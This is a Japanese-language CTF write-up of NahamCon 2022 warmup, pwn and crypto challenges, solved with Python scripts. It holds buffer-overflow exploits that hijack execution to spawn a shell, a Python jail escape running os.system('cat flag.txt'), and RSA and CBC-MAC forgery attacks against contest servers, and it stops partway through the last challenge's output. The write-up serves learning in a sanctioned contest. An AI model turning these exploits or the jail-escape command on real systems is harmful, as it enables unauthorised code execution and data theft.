この大会は2022/4/29 4:00(JST)~2022/5/1 4:00(JST)に開催されました。
今回もチームで参戦。結果は6743点で3272チーム中63位でした。
自分で解けた問題をWriteupとして書いておきます。
Crash Override (Warmups)
$ file crash_override
crash_override: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fecdd0eead2661c3811de1965ea881c620c7fe8b, for GNU/Linux 3.2.0, not stripped
BOFでwin関数をコールする。
from pwn import *
if len(sys.argv) == 1:
p = remote('challenge.nahamcon.com', 31331)
else:
p = process('./crash_override')
elf = ELF('./crash_override')
win_addr = elf.symbols['win']
payload = b'A' * 2056
payload += p64(win_addr)
data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().rstrip().decode()
print(data)
実行結果は以下の通り。
[+] Opening connection to challenge.nahamcon.com on port 31331: Done
[*] '/mnt/hgfs/Shared/crash_override'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
HACK THE PLANET!!!!!!
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x89\x12\x00\x00\x00\x00\x00\x00'
flag{de8b6655b538a0bf567b79a14f2669f6}
[*] Closed connection to challenge.nahamcon.com port 31331
flag{de8b6655b538a0bf567b79a14f2669f6}
Prisoner (Warmups)
$ ssh -p 31283 user@challenge.nahamcon.com
The authenticity of host '[challenge.nahamcon.com]:31283 ([34.123.79.100]:31283)' can't be established.
ECDSA key fingerprint is SHA256:Ui3hn8+316fHz2GZEHtmFc8CzoksXt+b1KjTA9z7fmI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[challenge.nahamcon.com]:31283,[34.123.79.100]:31283' (ECDSA) to the list of known hosts.
user@challenge.nahamcon.com's password:
_________________________
|| || || ||
|| ||, , ,|| ||
|| (||/|/(\||/ ||
|| ||| _'_`||| ||
|| || o o || ||
|| (|| - `||) ||
|| || = || ||
|| ||\___/|| ||
||___||) , (||___||
/||---||-\_/-||---||\
/ ||--_||_____||_--|| \
(_(||)-| SP1337 |-(||)_)
--------
Hello prisoner, welcome to jail.
Don't get any ideas, there is no easy way out!
: ls
何も表示されない。適当に文字を入れても同じ。Ctrl + Dを押してみる。
: Traceback (most recent call last):
File "/home/user/jail.py", line 27, in <module>
input(": ")
EOFError
>>>
pyjailの問題かも。
>>> __builtins__.__dict__['__import__']('os').__dict__['system']('ls')
flag.txt jail.py
0
>>> __builtins__.__dict__['__import__']('os').__dict__['system']('cat flag.txt')
flag{c31e05a24493a202fad0d1a827103642}
0
flag{c31e05a24493a202fad0d1a827103642}
Wizard (Warmups)
$ nc challenge.nahamcon.com 32408
/------------------------------------------\
| Why hello passerby. I see you wish to |
| pass, however you must answer my six |
| questions correctly in order to do so. |
\--------------- -------------------------/
\/
_,._
.||, /_ _\\
\.`',/ |'L'| |
= ,. = | -,| L
/ || \ ,-'\"/,'`.
|| ,' `,,. `.
,|____,' , ,;' \| |
(3|\ _/|/' _| |
||/,-'' | >-'' _,\\
||' ==\ ,-' ,'
|| | V \ ,|
|| | |` |
|| | | \
|| | \ \
|| | | \
|| | \_,-'
|| |___,,--")_\
|| |_| ccc/
|| ccc/
||
First Question: What is the ASCII plaintext corresponding to this binary string?
010110100110010101110010011011110111001100100000001001100010000001001111011011100110010101110011
pt =
デコードする問題が出題されるようだ。問題は以下の順で出題された。
1st: 2進数
2nd: 16進数
3rd: 8進数→数値の文字列化
4th: 数値の文字列化
5th: base64
6th: 16進数(リトルエンディアン)
import socket
from Crypto.Util.number import *
from base64 import *
def recvuntil(s, tail):
data = b''
while True:
if tail in data:
return data.decode()
data += s.recv(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.nahamcon.com', 32408))
data = recvuntil(s, b'pt = ')
print(data, end='')
enc = data.split('\n')[-3]
pt = ''.join([chr(int(enc[i:i+8], 2)) for i in range(0, len(enc), 8)])
print(pt)
s.sendall(pt.encode() + b'\n')
data = recvuntil(s, b'pt = ')
print(data, end='')
enc = data.split('\n')[-3]
pt = bytes.fromhex(enc).decode()
print(pt)
s.sendall(pt.encode() + b'\n')
data = recvuntil(s, b'pt = ')
print(data, end='')
enc = data.split('\n')[-3]
pt = long_to_bytes(int(enc, 8)).decode()
print(pt)
s.sendall(pt.encode() + b'\n')
data = recvuntil(s, b'pt = ')
print(data, end='')
enc = data.split('\n')[-3]
pt = long_to_bytes(int(enc)).decode()
print(pt)
s.sendall(pt.encode() + b'\n')
data = recvuntil(s, b'pt = ')
print(data, end='')
enc = data.split('\n')[-3]
pt = b64decode(enc).decode()
print(pt)
s.sendall(pt.encode() + b'\n')
data = recvuntil(s, b'= ')
print(data, end='')
enc = data.split('\n')[-3]
pt = bytes.fromhex(enc)[::-1].decode()
print(pt)
s.sendall(pt.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
実行結果は以下の通り。
/------------------------------------------\
| Why hello passerby. I see you wish to |
| pass, however you must answer my six |
| questions correctly in order to do so. |
\--------------- -------------------------/
\/
_,._
.||, /_ _\\
\.`',/ |'L'| |
= ,. = | -,| L
/ || \ ,-'\"/,'`.
|| ,' `,,. `.
,|____,' , ,;' \| |
(3|\ _/|/' _| |
||/,-'' | >-'' _,\\
||' ==\ ,-' ,'
|| | V \ ,|
|| | |` |
|| | | \
|| | \ \
|| | | \
|| | \_,-'
|| |___,,--")_\
|| |_| ccc/
|| ccc/
||
First Question: What is the ASCII plaintext corresponding to this binary string?
010110100110010101110010011011110111001100100000001001100010000001001111011011100110010101110011
pt = Zeros & Ones
Second Question: What is the ASCII plaintext corresponding to this hex string?
4f6820776f77777721204261736520313020697320636f6f6c20616e6420616c6c2062757420486578787878
pt = Oh wowww! Base 10 is cool and all but Hexxxx
Third Question: What is the ASCII plaintext corresponding to this octal string?
(HINT: octal -> int -> hex -> chars)
535451006154133420162312701623127154533472040334725553046256234620151334201413347444030460563312201673122016730267164
pt = We can represent numbers in any base we want
Fourth Question: What is the ACII representation of this integer?
(HINT: int -> hex -> chars)
8889185069805239596091046045687553579520816794635237831028832039457
pt = This is one big 'ol integer!
Fifth Question: What is the ASCII plaintext of this Base64 string?
QmFzZXMgb24gYmFzZXMgb24gYmFzZXMgb24gYmFzZXMgOik=
pt = Bases on bases on bases on bases :)
Last Question: What is the Big-Endian representation of this Little-Endian hex string?
293a2065636e657265666669642065687420776f6e6b206f7420646f6f672073277449
plaintext (Big-Endian) = It's good to know the difference :)
Very well, my friend. Here is your reward for your witts: flag{c2ed35aba037cd93381b298caa2720ee}
flag{c2ed35aba037cd93381b298caa2720ee}
Flagcat (Warmups)
$ cat flagcat
----------------------------------------
| flag{ab3cbaf45def9056dbfad706d597fb53} |
----------------------------------------
||
(\__/) ||
(•ㅅ•) //
/ づ
flag{ab3cbaf45def9056dbfad706d597fb53}
flag{ab3cbaf45def9056dbfad706d597fb53}
Read The Rules (Warmups)
ルールのページのHTMLソースを見ると、コメントにフラグが書いてあった。
flag{90bc54705794a62015369fd8e86e557b}
Technical Support (Warmups)
Discordに入り、#ctf-helpチャネルのトピックを見ると、フラグが書いてあった。
The GIF, meme, and emoji spam party! Oh yeah -- and CTF technical support, too.
..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
Here's a flag, by the way! :) flag{081fef2f11f3eec6059e3da9117ad3f0}
flag{081fef2f11f3eec6059e3da9117ad3f0}
Exit Vim (Warmups)
$ ssh -p 32347 user@challenge.nahamcon.com
The authenticity of host '[challenge.nahamcon.com]:32347 ([34.123.79.100]:32347)' can't be established.
ECDSA key fingerprint is SHA256:VRizncxQmM5qnc35WTXH0Ojj4+mWyAWbnkzsgRbpoEE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[challenge.nahamcon.com]:32347,[34.123.79.100]:32347' (ECDSA) to the list of known hosts.
user@challenge.nahamcon.com's password:
flag{ccf443b43322be5659150eac8bb2a18c}
Connection to challenge.nahamcon.com closed.
パスワードを入力すると、Readonlyでviの画面になる。そこで:qで抜けると、フラグが表示された。
flag{ccf443b43322be5659150eac8bb2a18c}
Quirky (Warmups)
"\x[16進数]"の形式の文字列がたくさん入っており、pngのバイナリをASCIIで表現していることがわかる。バイナリに復元し、pngファイルにする。
with open('quirky', 'r') as f:
data = f.read()
png = b''
for i in range(0, len(data), 4):
png += bytes([int(data[i+2:i+4], 16)])
with open('flag.png', 'wb') as f:
f.write(png)
png画像はQR画像になっているので、デコードすると、フラグになった。
flag{b7e2a32f5ae629dcfb1ac210d1f0c032}
Babiersteps (Binary Exploitation)
$ file babiersteps
babiersteps: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5dfaf4bb792d3e47f45df4ad36b56c07822b7a70, for GNU/Linux 3.2.0, not stripped
Ghidraでデコンパイルする。
undefined8 main(void)
{
undefined local_78 [112];
puts("Everyone has heard of gets, but have you heard of scanf?");
__isoc99_scanf(&DAT_00402049,local_78);
return 0;
}
void win(void)
{
execve("/bin/sh",(char **)0x0,(char **)0x0);
return;
}
BOFでwin関数をコールする。
from pwn import *
if len(sys.argv) == 1:
p = remote('challenge.nahamcon.com', 32607)
else:
p = process('./babiersteps')
elf = ELF('./babiersteps')
win_addr = elf.symbols['win']
payload = b'A' * 120
payload += p64(win_addr)
data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
p.interactive()
実行結果は以下の通り。
[+] Opening connection to challenge.nahamcon.com on port 32607: Done
[*] '/mnt/hgfs/Shared/babiersteps'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Everyone has heard of gets, but have you heard of scanf?
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc9\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ ls
babiersteps
bin
dev
etc
flag.txt
lib
lib32
lib64
libx32
usr
$ cat flag.txt
flag{4dc0a785da36bfcf0e597917b9144fd6}
flag{4dc0a785da36bfcf0e597917b9144fd6}
XORROX (Cryptography)
暗号処理の概要は以下の通り。
・key: flagの長さの1~256のランダム整数配列
・xorrox: [1, xorrox[0] ^ key[1], xorrox[1] ^ key[2], ...] →出力
・enc: [flag[0] ^ key[0], flag[1] ^ key[1], ...] →出力
xorroxからkeyを求め、flagを割り出す。
xorrox = [1, 209, 108, 239, 4, 55, 34, 174, 79, 117, 8, 222, 123, 99, 184, 202, 95, 255, 175, 138, 150, 28, 183, 6, 168, 43, 205, 105, 92, 250, 28, 80, 31, 201, 46, 20, 50, 56]
enc = [26, 188, 220, 228, 144, 1, 36, 185, 214, 11, 25, 178, 145, 47, 237, 70, 244, 149, 98, 20, 46, 187, 207, 136, 154, 231, 131, 193, 84, 148, 212, 126, 126, 226, 211, 10, 20, 119]
key = [ord('f') ^ enc[0]]
for i in range(len(xorrox) - 1):
key.append(xorrox[i] ^ xorrox[i + 1])
flag = ''
for i in range(len(enc)):
flag += chr(enc[i] ^ key[i])
print(flag)
flag{21571dd4764a52121d94deea22214402}
Unimod (Cryptography)
0以上0xFFFD未満の範囲でシフトした、UNICODEを使った暗号になっている。フラグは"f"から始まることを前提にシフト数を算出し、復号する。
with open('out', encoding='utf-8') as f:
enc = f.read()
k = ord(enc[0]) - ord('f')
flag = ''
for c in enc:
flag += chr(ord(c) - k)
print(flag)
flag{4e68d16a61bc2ea72d5f971344e84f11}
Baby RSA Quiz (Cryptography)
$ nc challenge.nahamcon.com 30380
Welcome to the Baby RSA Quiz!
Choose Option 0 if you're asking yourself "what in the world is RSA?" or maybe want to run through the basics.
Choose Option 1 if you're comfortable with RSA, feel free to skip to the quiz
Choose Option 2 if Rivest, Shamir, or Adleman hurt your feelings, feel free to exit the program
/------------------------\
| Baby RSA MENU: |
| (0) Teach me some RSA! |
| (1) Skip to quiz |
| (2) Quit |
\------------------------/
Choice: 1
___________________________________________________________________________________
I see you are ready to take my quiz! This quiz is comprised of three parts with
each part giving you a poor implementation of RSA. If you are unfamiliar with any
of these values given, it might be worthwhile to check out option 0 in the main
menu.
---------
| Part 1: |
---------
n = 183179313325829
e = 65537
ct = 106411454876432
What is the plaintext (in integer form)?
RSA暗号に関する問題が何問か出題されるようだ。1問ずつ問題のタイプを見て、解いていく。
結果以下のようにして解くことができた。
Part1: それほど大きくないnを素因数分解して復号する。
Part2: nがctに比べて極度に大きく、eが小さいため、Low Public-Exponent Attackで復号する。
Part3: p, qの値が近いと推測できるため、Fermat法でnを素因数分解し復号する。
import socket
import sympy
import gmpy2
from Crypto.Util.number import *
def recvuntil(s, tail):
data = b''
while True:
if tail in data:
return data.decode()
data += s.recv(1)
def isqrt(n):
x = n
y = (x + n // x) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x
def fermat(n):
x = isqrt(n) + 1
y = isqrt(x * x - n)
while True:
w = x * x - n - y * y
if w == 0:
break
elif w > 0:
y += 1
else:
x += 1
return x - y, x + y
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.nahamcon.com', 30380))
data = recvuntil(s, b': ')
print(data + '1')
s.sendall(b'1\n')
data = recvuntil(s, b'? ')
print(data, end='')
n = int(data.split('\n')[-5].split(' ')[-1])
e = int(data.split('\n')[-4].split(' ')[-1])
ct = int(data.split('\n')[-3].split(' ')[-1])
fac = sympy.factorint(n)
phi = 1
for p in fac.keys():
phi *= p - 1
d = inverse(e, phi)
m = pow(ct, d, n)
print(m)
s.sendall(str(m).encode() + b'\n')
data = recvuntil(s, b'? ')
print(data, end='')
n = int(data.split('\n')[-5].split(' ')[-1])
e = int(data.split('\n')[-4].split(' ')[-1])
ct = int(data.split('\n')[-3].split(' ')[-1])
m, ok = gmpy2.iroot(ct, e)
assert ok == True
print(m)
s.sendall(str(m).encode() + b'\n')
data = recvuntil(s, b'? ')
print(data, end='')
n = int(data.split('\n')[-5].split(' ')[-1])
e = int(data.split('\n')[-4].split(' ')[-1])
ct = int(data.split('\n')[-3].split(' ')[-1])
p, q = fermat(n)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, n)
print(m)
s.sendall(str(m).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
実行結果は以下の通り。
Welcome to the Baby RSA Quiz!
Choose Option 0 if you're asking yourself "what in the world is RSA?" or maybe want to run through the basics.
Choose Option 1 if you're comfortable with RSA, feel free to skip to the quiz
Choose Option 2 if Rivest, Shamir, or Adleman hurt your feelings, feel free to exit the program
/------------------------\
| Baby RSA MENU: 1
|
| (0) Teach me some RSA! |
| (1) Skip to quiz |
| (2) Quit |
\------------------------/
Choice:
___________________________________________________________________________________
I see you are ready to take my quiz! This quiz is comprised of three parts with
each part giving you a poor implementation of RSA. If you are unfamiliar with any
of these values given, it might be worthwhile to check out option 0 in the main
menu.
---------
| Part 1: |
---------
n = 159191162466053
e = 65537
ct = 99385601863184
What is the plaintext (in integer form)? 1751476325
___________________________________________________________________________________
Nice job on the first part! Those numbers weren't really as big as we thought.
---------
| Part 2: |
---------
n = 24984016574165091383659121350372722844491792441558268627623314282188075417213017730388217530387201825717484477718246661857514551807383331824072796597678533394000156642229787094718952087018940674952143644690939527128361667235104513497676419390682320111172511291850694812189329931706938398634572906218360147166662125192644541976968379566064657631961257431583206870631035843799483405172084644858468877677969150232809160423382688368920429057630928695628126301190789044195679767351589466345828651337802157728006421315029106465101298622603130118834498134842499088538282609982410403163248819067499191302752920116031137974037
e = 3
ct = 26480272848384180570411447917437668635135597564435407928130220812155801611065536704781892656033726277516148813916446180796750368332515779970289682282804676030149428215146347671350240386440440048832713595112882403831539777582778645411270433913301224819057222081543727263602678819745693540865806160910293144052079393615890645460901858988883318691997438568705602949652125
What is the plaintext (in integer form)? 298062599825784604055397390266655425259311588881437826967301557850952291872230439875703282133697119479127924133583415243365
___________________________________________________________________________________
The small-e attack is a classic! Although making e = 3 may make calculations
quicker, it is definitely not secure.
---------
| Part 3: |
---------
q = p + 2
while !(isPrime(q)):
q += 2
n = p*q
n = 125253052309723515584399398245796956152920632334318032203282566821486493046077868726134318624025089938513384034656193110767299719634775553784162644522384365838080248965701000989606989222007684908831838126823273831721995120121403482982460915710770748895536436284303294739603553819376912637466336366803139597509
e = 65537
ct = 45120659514410298868640908059287900497543551528148114446292389917871380747934695142564288284428054559394115532707340863106560612572251025725020670321936839902721578278074954438908394211946812264915530464170847385355154995286098080957850099022266261656195443326388240407695542251698589095606905347893036630625
What is the plaintext (in integer form)? 4389692525618482461496676054452486268288388260878585075412513298672841265430477651614481831919140832735218408683300129
Congratulations - you have passed my quiz. Here is your flag: flag{5bf62a062e66a7fb37304e1b11643c08}
flag{5bf62a062e66a7fb37304e1b11643c08}
MAC and Cheese (Cryptography)
$ nc challenge.nahamcon.com 30134
Welcome to the cheese community. How may we cheese you today?
CHEESY MENU:
(0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one)
(1) Give me a MAC for my cheese (we will send a CBC-MAC of your message)
(2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag)
(3) Quit (I don't liek cheese)
Which would you like to do? 1
----------------
| CBC-MAC Oracle |
----------------
Send me a message that is exactly 7 blocks (16*7 bytes) in size and I will tell you the tag (CBC-MAC) for it.
Messages should be sent in byte format and the tag will be sent back in hex format.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CBC-MAC(msg): c422a43e1619370a8f4e4c2a3d24c683
CHEESY MENU:
(0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one)
(1) Give me a MAC for my cheese (we will send a CBC-MAC of your message)
(2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag)
(3) Quit (I don't liek cheese)
Which would you like to do? 2
----------------------
| Verification Oracle |
----------------------
Send me a message and it's tag to verify that you belong to the cheese community
The format message and tag format should be [message][tag] without the brackets of course.
The message should be at least one block (16 bytes) and the tag should be 16 bytes.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc422a43e1619370a8f4e4c2a3d24c683
incorrect tag for message provided.
Message = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc422a43e1619370a'
Tag = b'8f4e4c2a3d24c683'
Length = 144
CHEESY MENU:
(0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one)
(1) Give me a MAC for my cheese (we will send a CBC-MAC of your message)
(2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag)
(3) Quit (I don't liek cheese)
Which would you like to do?
7ブロック分のCBC-MACが取得できることを利用して、8ブロック分のCBC-MACをメッセージと合わせ、認証する必要がある。
平文1ブロック目 ^ IV(0) --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目
平文3ブロック目 ^ 暗号2ブロック目 --(AES暗号)--> 暗号3ブロック目
平文4ブロック目 ^ 暗号3ブロック目 --(AES暗号)--> 暗号4ブロック目
平文5ブロック目 ^ 暗号4ブロック目 --(AES暗号)--> 暗号5ブロック目
平文6ブロック目 ^ 暗号5ブロック目 --(AES暗号)--> 暗号6ブロック目
平文7ブロック目 ^ 暗号6ブロック目 --(AES暗号)--> 暗号7ブロック目(->tag)
平文1ブロック目 ^ IV(0) --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目
平文3ブロック目 ^ 暗号2ブロック目 --(AES暗号)--> 暗号3ブロック目
平文4ブロック目 ^ 暗号3ブロック目 --(AES暗号)--> 暗号4ブロック目
平文5ブロック目 ^ 暗号4ブロック目 --(AES暗号)--> 暗号5ブロック目
平文6ブロック目 ^ 暗号5ブロック目 --(AES暗号)--> 暗号6ブロック目
平文7ブロック目 ^ 暗号6ブロック目 --(AES暗号)--> 暗号7ブロック目(->tag)
平文8ブロック目 ^ 暗号7ブロック目 --(AES暗号)--> 暗号8ブロック目
:
平文8ブロック目 = 暗号7ブロック目 ^ 平文1ブロック目となるように指定すると、以下のようになる。
平文1ブロック目 ^ IV(0) --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目
平文3ブロック目 ^ 暗号2ブロック目 --(AES暗号)--> 暗号3ブロック目
平文4ブロック目 ^ 暗号3ブロック目 --(AES暗号)--> 暗号4ブロック目
平文5ブロック目 ^ 暗号4ブロック目 --(AES暗号)--> 暗号5ブロック目
平文6ブロック目 ^ 暗号5ブロック目 --(AES暗号)--> 暗号6ブロック目
平文7ブロック目 ^ 暗号6ブロック目 --(AES暗号)--> 暗号7ブロック目(->tag)
平文8ブロック目 ^ 暗号7ブロック目 --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目
平文3ブロック目 ^ 暗号2ブロック目 --(AES暗号)--> 暗号3ブロック目
平文4ブロック目 ^ 暗号3ブロック目 --(AES暗号)--> 暗号4ブロック目
平文5ブロック目 ^ 暗号4ブロック目 --(AES暗号)--> 暗号5ブロック目
平文6ブロック目 ^ 暗号5ブロック目 --(AES暗号)--> 暗号6ブロック目
平文7ブロック目 ^ 暗号6ブロック目 --(AES暗号)--> 暗号7ブロック目(->tag)
これを7回繰り返せば、同じタグで対応できるはず。
import socket
from Crypto.Util.strxor import strxor
def recvuntil(s, tail):
data = b''
while True:
if tail in data:
return data.decode()
data += s.recv(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenge.nahamcon.com', 30134))
data = recvuntil(s, b'do? ')
print(data + '1')
s.sendall(b'1\n')
data = recvuntil(s, b'format.\n').rstrip()
print(data)
msg = 'A' * (16 * 7)
print(msg)
s.sendall(msg.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
tag = bytes.fromhex(data.split(' ')[-1])
data = recvuntil(s, b'do? ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'bytes.\n').rstrip()
print(data)
msg_tag = msg.encode()
for _ in range(7):
msg_tag += strxor(tag, msg.encode()[:16])
msg_tag += msg.encode()[16:]
msg_tag += tag
print(msg_tag)
s.sendall(msg_tag + b'\n')
for _ in range(6):
data = recvuntil(s, b'\n').rstrip()
print(data)
実行結果は以下の通り。
Welcome to the cheese community. How may we cheese you today?
CHEESY MENU:
(0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one)
(1) Give me a MAC for my cheese (we will send a CBC-MAC of your message)
(2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag)
(3) Quit (I don't liek cheese)
Which would you like to do? 1
----------------
| CBC-MAC Oracle |
----------------
Send me a message that is exactly 7 blocks (16*7 bytes) in size and I will tell you the tag (CBC-MAC) for it.
Messages should be sent in byte format and the tag will be sent back in hex format.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CBC-MAC(msg): c422a43e1619370a8f4e4c2a3d24c683
CHEESY MENU:
(0) Tell me about the effect of dimensional transcendence on mozzarella cheese. (strap in for this one)
(1) Give me a MAC for my cheese (we will send a CBC-MAC of your message)
(2) Verify my cheese (will return confirmation that CBC-MAC(message) == tag)
(3) Quit (I don't liek cheese)
Which would you like to do? 2
----------------------
| Verification Oracle |
----------------------
Send me a message and it's tag to verify that you belong to the cheese community
The format message and tag format should be [message][tag] without the brackets of course.
The message should be at least one block (16 bytes) and the tag should be 16 bytes.
